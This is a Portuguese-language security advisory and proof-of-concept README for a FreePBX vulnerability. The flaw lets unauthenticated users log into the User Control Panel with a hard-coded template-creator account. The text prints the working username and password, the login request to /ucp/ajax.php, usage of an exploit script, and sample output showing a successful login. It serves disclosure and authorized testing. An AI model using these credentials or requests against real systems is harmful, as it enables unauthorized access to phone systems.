
CVE-2026-46376 - Acesso UCP não autenticado do FreePBX por meio de credenciais codificadas
Uma vulnerabilidade crítica no módulo de Gerenciamento de Usuários (userman) do FreePBX permite que invasores não autenticados acessem o Painel de Controle do Usuário (UCP) usando credenciais codificadas (hard-coded) que são incorporadas durante o processo de configuração do template genérico do UCP.
CVSS v4.0: 9.1 (Crítico) | CWE-798: Uso de Credenciais Codificadas (Hard-Coded)
Divulgado: 15 de maio de 2026 | Relator: s0nnyWT
Quando um administrador utiliza o recurso opcional de configuração do template genérico do UCP (introduzido em 2021), um usuário do sistema FreePBXUCPTemplateCreator é criado com uma senha codificada (hard-coded) e estática. Se o administrador nunca alterar essa senha após a configuração, qualquer usuário não autenticado na rede pode fazer login no UCP com essas credenciais.
| Campo | Valor |
|---|---|
| Nome de usuário | FreePBXUCPTemplateCreator |
| Senha | 1a2b3c@fd48jshs03123ld |
| Fonte | Userman.class.php — senha passada por md5() |
| Vetor de ataque | Rede |
| Complexidade | Baixa |
| Autenticação necessária | Nenhuma |
| Interação do usuário | Nenhuma |
| Pré-requisito | Administrador deve ter executado a configuração do template genérico do UCP |
Nota: O usuário
FreePBXUCPTemplateCreatorsó é criado se um administrador executar explicitamente o recurso de configuração do template genérico do UCP. Sistemas onde essa configuração nunca foi realizada não são exploráveis por meio desta CVE, mesmo que estejam executando uma versão afetada.
| Plataforma | módulo userman | Afetado | Corrigido |
|---|---|---|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
A correção aleatoriza a senha usando bin2hex(random_bytes(24)) durante a instalação/atualização, e os criadores de template existentes têm sua senha regenerada na atualização.
pip3 install requests
python3 poc.py <target_url>
argumentos posicionais:
target URL alvo (ex.: http://192.168.1.100)
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
--no-check Ignorar verificação de versão pré-voo
--timeout TIMEOUT Tempo limite da requisição em segundos (padrão: 15)
--method {creds,unlock,admin,all}
Qual método de exploração executar (padrão: todos)
-y, --yes Continuar automaticamente mesmo se a versão estiver fora do intervalo
POST /ucp/ajax.php com module=User&command=login usando as credenciais codificadas?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - Acesso ao UCP do FreePBX
Alvo: http://192.168.1.100
============================================
[+] O alvo está acessível (HTTP 200)
[+] Versão do FreePBX: 16.0.30
[+] A versão 16.0.30 está na faixa afetada
[+] A interface UCP está acessível
============================================
Exploração
============================================
============================================
Método 1: Credenciais UCP Codificadas (Hard-Coded)
============================================
Nome de usuário: FreePBXUCPTemplateCreator
Senha: 1a2b3c@fd48jshs03123ld
[+] Token CSRF obtido: a749bea059fa66bd32087a8481a4d07b
[+] SUCESSO! Conectado como FreePBXUCPTemplateCreator
============================================
Resumo
============================================
Alvo está VULNERÁVEL
Para verificar se um sistema é explorável, o PoC envia uma requisição de login para POST /ucp/ajax.php com module=User&command=login e as credenciais. Uma resposta {"status":true} indica que o usuário criador de template existe e a senha ainda é a padrão.
Uma resposta {"status":false,"message":"Invalid Login Credentials"} significa que:
userman para 16.0.45 (FreePBX 16) ou 17.0.7 (FreePBX 17)Este PoC é fornecido apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.